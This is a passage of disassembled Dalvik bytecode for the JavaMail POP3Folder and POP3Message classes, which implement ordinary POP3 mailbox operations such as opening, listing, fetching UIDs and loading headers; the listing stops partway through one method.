.method constructor <init>(POP3Store, String)V
.registers 4
00000000 const/4 v0, 0x0
00000002 invoke-direct Folder-><init>(Store)V, p0, p1
00000008 iput-boolean v0, p0, POP3Folder->exists:Z
0000000C iput-boolean v0, p0, POP3Folder->opened:Z
00000010 iput-boolean v0, p0, POP3Folder->doneUidl:Z
00000014 iput-object p2, p0, POP3Folder->name:String
00000018 const-string v0, "INBOX"
0000001C invoke-virtual String->equalsIgnoreCase(String)Z, p2, v0
00000022 move-result v0
00000024 if-eqz v0, :2E
:28
00000028 const/4 v0, 0x1
0000002A iput-boolean v0, p0, POP3Folder->exists:Z
:2E
0000002E return-void
.end method
.method public appendMessages([Message)V
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "Append not supported"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method checkClosed()V
.registers 3
00000000 iget-boolean v0, p0, POP3Folder->opened:Z
00000004 if-eqz v0, :18
:8
00000008 new-instance v0, IllegalStateException
0000000C const-string v1, "Folder is Open"
00000010 invoke-direct IllegalStateException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 return-void
.end method
.method checkOpen()V
.registers 3
00000000 iget-boolean v0, p0, POP3Folder->opened:Z
00000004 if-nez v0, :18
:8
00000008 new-instance v0, IllegalStateException
0000000C const-string v1, "Folder is not Open"
00000010 invoke-direct IllegalStateException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 return-void
.end method
.method checkReadable()V
.registers 3
00000000 iget-boolean v0, p0, POP3Folder->opened:Z
00000004 if-eqz v0, :1C
:8
00000008 iget v0, p0, POP3Folder->mode:I
0000000C const/4 v1, 0x1
0000000E if-eq v0, v1, :2C
:12
00000012 iget v0, p0, POP3Folder->mode:I
00000016 const/4 v1, 0x2
00000018 if-eq v0, v1, :2C
:1C
0000001C new-instance v0, IllegalStateException
00000020 const-string v1, "Folder is not Readable"
00000024 invoke-direct IllegalStateException-><init>(String)V, v0, v1
0000002A throw v0
:2C
0000002C return-void
.end method
.method checkWritable()V
.registers 3
00000000 iget-boolean v0, p0, POP3Folder->opened:Z
00000004 if-eqz v0, :12
:8
00000008 iget v0, p0, POP3Folder->mode:I
0000000C const/4 v1, 0x2
0000000E if-eq v0, v1, :22
:12
00000012 new-instance v0, IllegalStateException
00000016 const-string v1, "Folder is not Writable"
0000001A invoke-direct IllegalStateException-><init>(String)V, v0, v1
00000020 throw v0
:22
00000022 return-void
.end method
.method public declared-synchronized close(Z)V
.registers 5
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-virtual POP3Folder->checkOpen()V, p0
:A
0000000A iget-object v0, p0, POP3Folder->store:Store
0000000E check-cast v0, POP3Store
00000012 iget-boolean v0, v0, POP3Store->rsetBeforeQuit:Z
00000016 if-eqz v0, :24
:1A
0000001A iget-object v0, p0, POP3Folder->port:Protocol
0000001E invoke-virtual Protocol->rset()Z, v0
:24
00000024 if-eqz p1, :42
:28
00000028 iget v0, p0, POP3Folder->mode:I
0000002C const/4 v2, 0x2
0000002E if-ne v0, v2, :42
:32
00000032 iget-object v0, p0, POP3Folder->message_cache:Vector
00000036 invoke-virtual Vector->size()I, v0
0000003C move-result v0
0000003E if-lt v1, v0, :78
:42
00000042 iget-object v0, p0, POP3Folder->port:Protocol
00000046 invoke-virtual Protocol->quit()Z, v0
:4C
0000004C const/4 v0, 0x0
:4E
0000004E iput-object v0, p0, POP3Folder->port:Protocol
00000052 iget-object v0, p0, POP3Folder->store:Store
00000056 check-cast v0, POP3Store
0000005A invoke-virtual POP3Store->closePort(POP3Folder)V, v0, p0
00000060 const/4 v0, 0x0
00000062 iput-object v0, p0, POP3Folder->message_cache:Vector
00000066 const/4 v0, 0x0
00000068 iput-boolean v0, p0, POP3Folder->opened:Z
0000006C const/4 v0, 0x3
0000006E invoke-virtual POP3Folder->notifyConnectionListeners(I)V, p0, v0
:74
00000074 monitor-exit p0
00000076 return-void
:78
00000078 iget-object v0, p0, POP3Folder->message_cache:Vector
0000007C invoke-virtual Vector->elementAt(I)Object, v0, v1
00000082 move-result-object v0
00000084 check-cast v0, POP3Message
00000088 if-eqz v0, :AA
:8C
0000008C sget-object v2, Flags$Flag->DELETED:Flags$Flag
00000090 invoke-virtual POP3Message->isSet(Flags$Flag)Z, v0, v2
:96
00000096 move-result v0
00000098 if-eqz v0, :AA
:9C
0000009C iget-object v0, p0, POP3Folder->port:Protocol
000000A0 add-int/lit8 v2, v1, 0x1
000000A4 invoke-virtual Protocol->dele(I)Z, v0, v2
:AA
000000AA add-int/lit8 v0, v1, 0x1
000000AE move v1, v0
000000B0 goto :32
:B2
000000B2 move-exception v0
:B4
000000B4 new-instance v1, MessagingException
000000B8 const-string v2, "Exception deleting messages during close"
000000BC invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C2 throw v1
:C4
000000C4 move-exception v0
000000C6 const/4 v0, 0x0
:C8
000000C8 iput-object v0, p0, POP3Folder->port:Protocol
000000CC iget-object v0, p0, POP3Folder->store:Store
000000D0 check-cast v0, POP3Store
000000D4 invoke-virtual POP3Store->closePort(POP3Folder)V, v0, p0
000000DA const/4 v0, 0x0
000000DC iput-object v0, p0, POP3Folder->message_cache:Vector
000000E0 const/4 v0, 0x0
000000E2 iput-boolean v0, p0, POP3Folder->opened:Z
000000E6 const/4 v0, 0x3
000000E8 invoke-virtual POP3Folder->notifyConnectionListeners(I)V, p0, v0
:EE
000000EE goto :74
:F0
000000F0 move-exception v0
000000F2 monitor-exit p0
000000F4 throw v0
:F6
000000F6 move-exception v0
000000F8 move-object v1, v0
000000FA const/4 v0, 0x0
:FC
000000FC iput-object v0, p0, POP3Folder->port:Protocol
00000100 iget-object v0, p0, POP3Folder->store:Store
00000104 check-cast v0, POP3Store
00000108 invoke-virtual POP3Store->closePort(POP3Folder)V, v0, p0
0000010E const/4 v0, 0x0
00000110 iput-object v0, p0, POP3Folder->message_cache:Vector
00000114 const/4 v0, 0x0
00000116 iput-boolean v0, p0, POP3Folder->opened:Z
0000011A const/4 v0, 0x3
0000011C invoke-virtual POP3Folder->notifyConnectionListeners(I)V, p0, v0
00000122 throw v1
.catchall {:4 .. :A} :F0
.catch IOException {:A .. :4C} :C4
.catchall {:A .. :4C} :F6
.catchall {:4E .. :74} :F0
.catch IOException {:78 .. :96} :C4
.catchall {:78 .. :96} :F6
.catch IOException {:9C .. :AA} :B2
.catchall {:9C .. :AA} :F6
.catch IOException {:B4 .. :C4} :C4
.catchall {:B4 .. :C4} :F6
.catchall {:C8 .. :EE} :F0
.catchall {:FC .. :124} :F0
.end method
.method public create(I)Z
.registers 3
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method protected createMessage(Folder, I)POP3Message
.registers 8
00000000 const/4 v1, 0x0
00000002 iget-object v0, p0, POP3Folder->store:Store
00000006 check-cast v0, POP3Store
0000000A iget-object v0, v0, POP3Store->messageConstructor:Constructor
0000000E if-eqz v0, :50
:12
00000012 const/4 v2, 0x2
:14
00000014 new-array v2, v2, [Object
00000018 const/4 v3, 0x0
0000001A aput-object p0, v2, v3
0000001E const/4 v3, 0x1
00000020 new-instance v4, Integer
00000024 invoke-direct Integer-><init>(I)V, v4, p2
0000002A aput-object v4, v2, v3
0000002E invoke-virtual Constructor->newInstance([Object)Object, v0, v2
00000034 move-result-object v0
00000036 check-cast v0, POP3Message
:3A
0000003A if-nez v0, :48
:3E
0000003E new-instance v0, POP3Message
00000042 invoke-direct POP3Message-><init>(Folder, I)V, v0, p0, p2
:48
00000048 return-object v0
:4A
0000004A move-exception v0
0000004C move-object v0, v1
0000004E goto :3A
:50
00000050 move-object v0, v1
00000052 goto :3A
.catch Exception {:14 .. :3A} :4A
.end method
.method public delete(Z)Z
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "delete"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public exists()Z
.registers 2
00000000 iget-boolean v0, p0, POP3Folder->exists:Z
00000004 return v0
.end method
.method public expunge()[Message
.registers 3
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "Expunge not supported"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public declared-synchronized fetch([Message, FetchProfile)V
.registers 8
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-virtual POP3Folder->checkReadable()V, p0
0000000A iget-boolean v0, p0, POP3Folder->doneUidl:Z
0000000E if-nez v0, :8A
:12
00000012 sget-object v0, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000016 invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p2, v0
0000001C move-result v0
0000001E if-eqz v0, :8A
:22
00000022 iget-object v0, p0, POP3Folder->message_cache:Vector
00000026 invoke-virtual Vector->size()I, v0
0000002C move-result v0
0000002E new-array v3, v0, [String
:32
00000032 iget-object v0, p0, POP3Folder->port:Protocol
00000036 invoke-virtual Protocol->uidl([String)Z, v0, v3
:3C
0000003C move-result v0
0000003E if-nez v0, :7C
:42
00000042 monitor-exit p0
00000044 return-void
:46
00000046 move-exception v0
00000048 const/4 v1, 0x0
:4A
0000004A invoke-virtual POP3Folder->close(Z)V, p0, v1
00000050 new-instance v1, FolderClosedException
00000054 invoke-virtual EOFException->toString()String, v0
0000005A move-result-object v0
0000005C invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000062 throw v1
:64
00000064 move-exception v0
00000066 monitor-exit p0
00000068 throw v0
:6A
0000006A move-exception v0
:6C
0000006C new-instance v1, MessagingException
00000070 const-string v2, "error getting UIDL"
00000074 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000007A throw v1
:7C
0000007C move v2, v1
:7E
0000007E array-length v0, v3
00000080 if-lt v2, v0, :C0
:84
00000084 const/4 v0, 0x1
00000086 iput-boolean v0, p0, POP3Folder->doneUidl:Z
:8A
0000008A sget-object v0, FetchProfile$Item->ENVELOPE:FetchProfile$Item
0000008E invoke-virtual FetchProfile->contains(FetchProfile$Item)Z, p2, v0
00000094 move-result v0
00000096 if-eqz v0, :42
:9A
0000009A array-length v0, p1
:9C
0000009C if-ge v1, v0, :42
:A0
000000A0 aget-object v0, p1, v1
000000A4 check-cast v0, POP3Message
000000A8 const-string v2, ""
000000AC invoke-virtual POP3Message->getHeader(String)[String, v0, v2
000000B2 invoke-virtual POP3Message->getSize()I, v0
:B8
000000B8 add-int/lit8 v0, v1, 0x1
000000BC move v1, v0
000000BE goto :9A
:C0
000000C0 aget-object v0, v3, v2
000000C4 if-nez v0, :D0
:C8
000000C8 add-int/lit8 v0, v2, 0x1
000000CC move v2, v0
000000CE goto :7E
:D0
000000D0 add-int/lit8 v0, v2, 0x1
000000D4 invoke-virtual POP3Folder->getMessage(I)Message, p0, v0
000000DA move-result-object v0
000000DC check-cast v0, POP3Message
000000E0 aget-object v4, v3, v2
000000E4 iput-object v4, v0, POP3Message->uid:String
:E8
000000E8 goto :C8
:EA
000000EA move-exception v0
000000EC goto :B8
.catchall {:4 .. :32} :64
.catch EOFException {:32 .. :3C} :46
.catch IOException {:32 .. :3C} :6A
.catchall {:32 .. :3C} :64
.catchall {:4A .. :64} :64
.catchall {:6C .. :9C} :64
.catch MessageRemovedException {:A0 .. :B8} :EA
.catchall {:A0 .. :B8} :64
.catchall {:C0 .. :E8} :64
.end method
.method protected finalize()V
.registers 2
00000000 invoke-super Folder->finalize()V, p0
00000006 const/4 v0, 0x0
00000008 invoke-virtual POP3Folder->close(Z)V, p0, v0
0000000E return-void
.end method
.method public getFolder(String)Folder
.registers 4
00000000 new-instance v0, MessagingException
00000004 const-string v1, "not a directory"
00000008 invoke-direct MessagingException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public getFullName()String
.registers 2
00000000 iget-object v0, p0, POP3Folder->name:String
00000004 return-object v0
.end method
.method public declared-synchronized getMessage(I)Message
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-virtual POP3Folder->checkOpen()V, p0
00000008 iget-object v0, p0, POP3Folder->message_cache:Vector
0000000C add-int/lit8 v1, p1, 0xFFFFFFFFFFFFFFFF
00000010 invoke-virtual Vector->elementAt(I)Object, v0, v1
00000016 move-result-object v0
00000018 check-cast v0, POP3Message
0000001C if-nez v0, :36
:20
00000020 invoke-virtual POP3Folder->createMessage(Folder, I)POP3Message, p0, p0, p1
00000026 move-result-object v0
00000028 iget-object v1, p0, POP3Folder->message_cache:Vector
0000002C add-int/lit8 v2, p1, 0xFFFFFFFFFFFFFFFF
00000030 invoke-virtual Vector->setElementAt(Object, I)V, v1, v0, v2
:36
00000036 monitor-exit p0
00000038 return-object v0
:3A
0000003A move-exception v0
0000003C monitor-exit p0
0000003E throw v0
.catchall {:2 .. :36} :3A
.end method
.method public declared-synchronized getMessageCount()I
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, POP3Folder->opened:Z
:6
00000006 if-nez v0, :10
:A
0000000A const/4 v0, 0xFFFFFFFFFFFFFFFF
:C
0000000C monitor-exit p0
0000000E return v0
:10
00000010 invoke-virtual POP3Folder->checkReadable()V, p0
00000016 iget v0, p0, POP3Folder->total:I
:1A
0000001A goto :C
:1C
0000001C move-exception v0
0000001E monitor-exit p0
00000020 throw v0
.catchall {:2 .. :6} :1C
.catchall {:10 .. :1A} :1C
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, POP3Folder->name:String
00000004 return-object v0
.end method
.method public getParent()Folder
.registers 3
00000000 new-instance v1, DefaultFolder
00000004 iget-object v0, p0, POP3Folder->store:Store
00000008 check-cast v0, POP3Store
0000000C invoke-direct DefaultFolder-><init>(POP3Store)V, v1, v0
00000012 return-object v1
.end method
.method public getPermanentFlags()Flags
.registers 2
00000000 new-instance v0, Flags
00000004 invoke-direct Flags-><init>()V, v0
0000000A return-object v0
.end method
.method getProtocol()Protocol
.registers 2
00000000 invoke-virtual POP3Folder->checkOpen()V, p0
00000006 iget-object v0, p0, POP3Folder->port:Protocol
0000000A return-object v0
.end method
.method public getSeparator()C
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public declared-synchronized getSize()I
.registers 2
00000000 monitor-enter p0
:2
00000002 invoke-virtual POP3Folder->checkOpen()V, p0
00000008 iget v0, p0, POP3Folder->size:I
:C
0000000C monitor-exit p0
0000000E return v0
:10
00000010 move-exception v0
00000012 monitor-exit p0
00000014 throw v0
.catchall {:2 .. :C} :10
.end method
.method public declared-synchronized getSizes()[I
.registers 8
00000000 const/4 v1, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-virtual POP3Folder->checkOpen()V, p0
0000000A iget v0, p0, POP3Folder->total:I
0000000E new-array v3, v0, [I
:12
00000012 iget-object v0, p0, POP3Folder->port:Protocol
00000016 invoke-virtual Protocol->list()InputStream, v0
:1C
0000001C move-result-object v2
:1E
0000001E new-instance v0, LineInputStream
00000022 invoke-direct LineInputStream-><init>(InputStream)V, v0, v2
:28
00000028 invoke-virtual LineInputStream->readLine()String, v0
:2E
0000002E move-result-object v1
00000030 if-nez v1, :4C
:34
00000034 if-eqz v0, :3E
:38
00000038 invoke-virtual LineInputStream->close()V, v0
:3E
0000003E if-eqz v2, :48
:42
00000042 invoke-virtual InputStream->close()V, v2
:48
00000048 monitor-exit p0
0000004A return-object v3
:4C
0000004C new-instance v4, StringTokenizer
00000050 invoke-direct StringTokenizer-><init>(String)V, v4, v1
00000056 invoke-virtual StringTokenizer->nextToken()String, v4
0000005C move-result-object v1
0000005E invoke-static Integer->parseInt(String)I, v1
00000064 move-result v1
00000066 invoke-virtual StringTokenizer->nextToken()String, v4
0000006C move-result-object v4
0000006E invoke-static Integer->parseInt(String)I, v4
00000074 move-result v4
00000076 if-lez v1, :28
:7A
0000007A iget v5, p0, POP3Folder->total:I
0000007E if-gt v1, v5, :28
:82
00000082 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000086 aput v4, v3, v1
:8A
0000008A goto :28
:8C
0000008C move-exception v1
0000008E goto :28
:90
00000090 move-exception v0
00000092 move-object v0, v1
:94
00000094 if-eqz v0, :9E
:98
00000098 invoke-virtual LineInputStream->close()V, v0
:9E
0000009E if-eqz v1, :48
:A2
000000A2 invoke-virtual InputStream->close()V, v1
:A8
000000A8 goto :48
:AA
000000AA move-exception v0
000000AC goto :48
:AE
000000AE move-exception v0
000000B0 move-object v2, v1
:B2
000000B2 if-eqz v1, :BC
:B6
000000B6 invoke-virtual LineInputStream->close()V, v1
:BC
000000BC if-eqz v2, :C6
:C0
000000C0 invoke-virtual InputStream->close()V, v2
:C6
000000C6 throw v0
:C8
000000C8 move-exception v0
000000CA monitor-exit p0
000000CC throw v0
:CE
000000CE move-exception v0
000000D0 goto :9E
:D2
000000D2 move-exception v1
000000D4 goto :BC
:D6
000000D6 move-exception v1
000000D8 goto :C6
:DA
000000DA move-exception v0
000000DC goto :3E
:DE
000000DE move-exception v0
000000E0 goto :48
:E2
000000E2 move-exception v0
000000E4 goto :B2
:E6
000000E6 move-exception v1
000000E8 move-object v6, v1
000000EA move-object v1, v0
000000EC move-object v0, v6
000000EE goto :B2
:F0
000000F0 move-exception v0
000000F2 move-object v0, v1
000000F4 move-object v1, v2
000000F6 goto :94
:F8
000000F8 move-exception v1
000000FA move-object v1, v2
000000FC goto :94
.catchall {:4 .. :12} :C8
.catch IOException {:12 .. :1C} :90
.catchall {:12 .. :1C} :AE
.catch IOException {:1E .. :28} :F0
.catchall {:1E .. :28} :E2
.catch IOException {:28 .. :2E} :F8
.catchall {:28 .. :2E} :E6
.catch IOException {:38 .. :3E} :DA
.catchall {:38 .. :3E} :C8
.catch IOException {:42 .. :48} :DE
.catchall {:42 .. :48} :C8
.catch Exception {:4C .. :8A} :8C
.catch IOException {:4C .. :8A} :F8
.catchall {:4C .. :8A} :E6
.catch IOException {:98 .. :9E} :CE
.catchall {:98 .. :9E} :C8
.catch IOException {:A2 .. :A8} :AA
.catchall {:A2 .. :A8} :C8
.catch IOException {:B6 .. :BC} :D2
.catchall {:B6 .. :BC} :C8
.catch IOException {:C0 .. :C6} :D6
.catchall {:C0 .. :C6} :C8
.catchall {:C6 .. :C8} :C8
.end method
.method public getType()I
.registers 2
00000000 const/4 v0, 0x1
00000002 return v0
.end method
.method public declared-synchronized getUID(Message)String
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-virtual POP3Folder->checkOpen()V, p0
00000008 check-cast p1, POP3Message
:C
0000000C iget-object v0, p1, POP3Message->uid:String
00000010 const-string v1, "UNKNOWN"
00000014 if-ne v0, v1, :30
:18
00000018 iget-object v0, p0, POP3Folder->port:Protocol
0000001C invoke-virtual POP3Message->getMessageNumber()I, p1
00000022 move-result v1
00000024 invoke-virtual Protocol->uidl(I)String, v0, v1
0000002A move-result-object v0
0000002C iput-object v0, p1, POP3Message->uid:String
:30
00000030 iget-object v0, p1, POP3Message->uid:String
:34
00000034 monitor-exit p0
00000036 return-object v0
:38
00000038 move-exception v0
0000003A const/4 v1, 0x0
:3C
0000003C invoke-virtual POP3Folder->close(Z)V, p0, v1
00000042 new-instance v1, FolderClosedException
00000046 invoke-virtual EOFException->toString()String, v0
0000004C move-result-object v0
0000004E invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
00000054 throw v1
:56
00000056 move-exception v0
00000058 monitor-exit p0
0000005A throw v0
:5C
0000005C move-exception v0
:5E
0000005E new-instance v1, MessagingException
00000062 const-string v2, "error getting UIDL"
00000066 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000006C throw v1
.catchall {:2 .. :C} :56
.catch EOFException {:C .. :34} :38
.catch IOException {:C .. :34} :5C
.catchall {:C .. :34} :56
.catchall {:3C .. :56} :56
.catchall {:5E .. :6E} :56
.end method
.method public hasNewMessages()Z
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public isOpen()Z
.registers 3
00000000 const/4 v0, 0x0
00000002 iget-boolean v1, p0, POP3Folder->opened:Z
00000006 if-nez v1, :C
:A
0000000A return v0
:C
0000000C iget-object v1, p0, POP3Folder->store:Store
00000010 invoke-virtual Store->isConnected()Z, v1
00000016 move-result v1
00000018 if-eqz v1, :20
:1C
0000001C const/4 v0, 0x1
0000001E goto :A
:20
00000020 const/4 v1, 0x0
:22
00000022 invoke-virtual POP3Folder->close(Z)V, p0, v1
:28
00000028 goto :A
:2A
0000002A move-exception v1
0000002C goto :A
.catch MessagingException {:22 .. :28} :2A
.end method
.method public list(String)[Folder
.registers 4
00000000 new-instance v0, MessagingException
00000004 const-string v1, "not a directory"
00000008 invoke-direct MessagingException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public declared-synchronized listCommand()InputStream
.registers 2
00000000 monitor-enter p0
:2
00000002 invoke-virtual POP3Folder->checkOpen()V, p0
00000008 iget-object v0, p0, POP3Folder->port:Protocol
0000000C invoke-virtual Protocol->list()InputStream, v0
:12
00000012 move-result-object v0
00000014 monitor-exit p0
00000016 return-object v0
:18
00000018 move-exception v0
0000001A monitor-exit p0
0000001C throw v0
.catchall {:2 .. :12} :18
.end method
.method protected notifyMessageChangedListeners(I, Message)V
.registers 3
00000000 invoke-super Folder->notifyMessageChangedListeners(I, Message)V, p0, p1, p2
00000006 return-void
.end method
.method public declared-synchronized open(I)V
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-virtual POP3Folder->checkClosed()V, p0
00000008 iget-boolean v0, p0, POP3Folder->exists:Z
0000000C if-nez v0, :26
:10
00000010 new-instance v0, FolderNotFoundException
00000014 const-string v1, "folder is not INBOX"
00000018 invoke-direct FolderNotFoundException-><init>(Folder, String)V, v0, p0, v1
0000001E throw v0
:20
00000020 move-exception v0
00000022 monitor-exit p0
00000024 throw v0
:26
00000026 iget-object v0, p0, POP3Folder->store:Store
0000002A check-cast v0, POP3Store
0000002E invoke-virtual POP3Store->getPort(POP3Folder)Protocol, v0, p0
00000034 move-result-object v0
00000036 iput-object v0, p0, POP3Folder->port:Protocol
0000003A iget-object v0, p0, POP3Folder->port:Protocol
0000003E invoke-virtual Protocol->stat()Status, v0
00000044 move-result-object v0
00000046 iget v1, v0, Status->total:I
0000004A iput v1, p0, POP3Folder->total:I
0000004E iget v0, v0, Status->size:I
00000052 iput v0, p0, POP3Folder->size:I
00000056 iput p1, p0, POP3Folder->mode:I
0000005A const/4 v0, 0x1
0000005C iput-boolean v0, p0, POP3Folder->opened:Z
:60
00000060 new-instance v0, Vector
00000064 iget v1, p0, POP3Folder->total:I
00000068 invoke-direct Vector-><init>(I)V, v0, v1
0000006E iput-object v0, p0, POP3Folder->message_cache:Vector
00000072 iget-object v0, p0, POP3Folder->message_cache:Vector
00000076 iget v1, p0, POP3Folder->total:I
0000007A invoke-virtual Vector->setSize(I)V, v0, v1
00000080 const/4 v0, 0x0
00000082 iput-boolean v0, p0, POP3Folder->doneUidl:Z
00000086 const/4 v0, 0x1
00000088 invoke-virtual POP3Folder->notifyConnectionListeners(I)V, p0, v0
:8E
0000008E monitor-exit p0
00000090 return-void
:92
00000092 move-exception v0
00000094 move-object v1, v0
:96
00000096 iget-object v0, p0, POP3Folder->port:Protocol
0000009A if-eqz v0, :A8
:9E
0000009E iget-object v0, p0, POP3Folder->port:Protocol
000000A2 invoke-virtual Protocol->quit()Z, v0
:A8
000000A8 const/4 v0, 0x0
:AA
000000AA iput-object v0, p0, POP3Folder->port:Protocol
000000AE iget-object v0, p0, POP3Folder->store:Store
000000B2 check-cast v0, POP3Store
000000B6 invoke-virtual POP3Store->closePort(POP3Folder)V, v0, p0
:BC
000000BC new-instance v0, MessagingException
000000C0 const-string v2, "Open failed"
000000C4 invoke-direct MessagingException-><init>(String, Exception)V, v0, v2, v1
000000CA throw v0
:CC
000000CC move-exception v0
000000CE const/4 v0, 0x0
000000D0 iput-object v0, p0, POP3Folder->port:Protocol
000000D4 iget-object v0, p0, POP3Folder->store:Store
000000D8 check-cast v0, POP3Store
000000DC invoke-virtual POP3Store->closePort(POP3Folder)V, v0, p0
000000E2 goto :BC
:E4
000000E4 move-exception v0
000000E6 move-object v1, v0
000000E8 const/4 v0, 0x0
000000EA iput-object v0, p0, POP3Folder->port:Protocol
000000EE iget-object v0, p0, POP3Folder->store:Store
000000F2 check-cast v0, POP3Store
000000F6 invoke-virtual POP3Store->closePort(POP3Folder)V, v0, p0
000000FC throw v1
.catchall {:2 .. :20} :20
.catch IOException {:26 .. :60} :92
.catchall {:26 .. :60} :20
.catchall {:60 .. :8E} :20
.catch IOException {:96 .. :A8} :CC
.catchall {:96 .. :A8} :E4
.catchall {:AA .. :FE} :20
.end method
.method public renameTo(Folder)Z
.registers 4
00000000 new-instance v0, MethodNotSupportedException
00000004 const-string v1, "renameTo"
00000008 invoke-direct MethodNotSupportedException-><init>(String)V, v0, v1
0000000E throw v0
.end method
#--------------------------------------------------------------------------------
.class public POP3Message
.super MimeMessage
.source ""
.field static final UNKNOWN:String = "UNKNOWN"
.field private folder:POP3Folder
.field private hdrSize:I
.field private msgSize:I
.field uid:String
.method public constructor <init>(Folder, I)V
.registers 4
00000000 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000002 invoke-direct MimeMessage-><init>(Folder, I)V, p0, p1, p2
00000008 iput v0, p0, POP3Message->hdrSize:I
0000000C iput v0, p0, POP3Message->msgSize:I
00000010 const-string v0, "UNKNOWN"
00000014 iput-object v0, p0, POP3Message->uid:String
00000018 check-cast p1, POP3Folder
0000001C iput-object p1, p0, POP3Message->folder:POP3Folder
00000020 return-void
.end method
.method private loadHeaders()V
.registers 5
00000000 const/4 v3, 0x0
:2
00000002 monitor-enter p0
:4
00000004 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000008 if-eqz v0, :10
:C
0000000C monitor-exit p0
:E
0000000E return-void
:10
00000010 iget-object v0, p0, POP3Message->folder:POP3Folder
00000014 invoke-virtual POP3Folder->getStore()Store, v0
0000001A move-result-object v0
0000001C check-cast v0, POP3Store
00000020 iget-boolean v0, v0, POP3Store->disableTop:Z
00000024 if-nez v0, :46
:28
00000028 iget-object v0, p0, POP3Message->folder:POP3Folder
0000002C invoke-virtual POP3Folder->getProtocol()Protocol, v0
00000032 move-result-object v0
00000034 iget v1, p0, POP3Message->msgnum:I
00000038 const/4 v2, 0x0
0000003A invoke-virtual Protocol->top(I, I)InputStream, v0, v1, v2
00000040 move-result-object v0
00000042 if-nez v0, :82
:46
00000046 invoke-virtual POP3Message->getContentStream()InputStream, p0
0000004C move-result-object v0
0000004E invoke-virtual InputStream->close()V, v0
:54
00000054 monitor-exit p0
00000056 goto :E
:58
00000058 move-exception v0
0000005A monitor-exit p0
:5C
0000005C throw v0
:5E
0000005E move-exception v0
00000060 iget-object v1, p0, POP3Message->folder:POP3Folder
00000064 invoke-virtual POP3Folder->close(Z)V, v1, v3
0000006A new-instance v1, FolderClosedException
0000006E iget-object v2, p0, POP3Message->folder:POP3Folder
00000072 invoke-virtual EOFException->toString()String, v0
00000078 move-result-object v0
0000007A invoke-direct FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000080 throw v1
:82
00000082 invoke-virtual InputStream->available()I, v0
00000088 move-result v1
0000008A iput v1, p0, POP3Message->hdrSize:I
0000008E new-instance v1, InternetHeaders
00000092 invoke-direct InternetHeaders-><init>(InputStream)V, v1, v0
00000098 iput-object v1, p0, POP3Message->headers:InternetHeaders
:9C
0000009C goto :54
:9E
0000009E move-exception v0
000000A0 new-instance v1, MessagingException
000000A4 const-string v2, "error loading POP3 headers"
000000A8 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000AE throw v1
.catch EOFException {:2 .. :4} :5E
.catch IOException {:2 .. :4} :9E
.catchall {:4 .. :5C} :58
.catch EOFException {:5C .. :5E} :5E
.catch IOException {:5C .. :5E} :9E
.catchall {:82 .. :9C} :58
.end method
.method public addHeader(String, String)V
.registers 5
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "POP3 messages are read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public addHeaderLine(String)V
.registers 4
00000000 new-instance v0, IllegalWriteException
00000004 const-string v1, "POP3 messages are read-only"
00000008 invoke-direct IllegalWriteException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public getAllHeaderLines()Enumeration
.registers 2
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getAllHeaderLines()Enumeration, v0
00000018 move-result-object v0
0000001A return-object v0
.end method
.method public getAllHeaders()Enumeration
.registers 2
00000000 iget-object v0, p0, POP3Message->headers:InternetHeaders
00000004 if-nez v0, :E
:8
00000008 invoke-direct POP3Message->loadHeaders()V, p0
:E
0000000E iget-object v0, p0, POP3Message->headers:InternetHeaders
00000012 invoke-virtual InternetHeaders->getAllHeaders()Enumeration, v0
00000018 move-result-object v0
0000001A return-object v0
.end method
.method protected getContentStream()InputStream
.registers 9
00000000 const/16 v6, 0xA
00000004 const/4 v3, 0x0
:6
00000006 monitor-enter p0
:8
00000008 iget-object v1, p0, POP3Message->contentStream:InputStream
0000000C if-nez v1, :DC
:10
00000010 iget-object v1, p0, POP3Message->folder:POP3Folder
00000014 invoke-virtual POP3Folder->getProtocol()Protocol, v1
0000001A move-result-object v2
0000001C iget v4, p0, POP3Message->msgnum:I
00000020 iget v1, p0, POP3Message->msgSize:I
00000024 if-lez v1, :7A
:28
00000028 iget v1, p0, POP3Message->msgSize:I
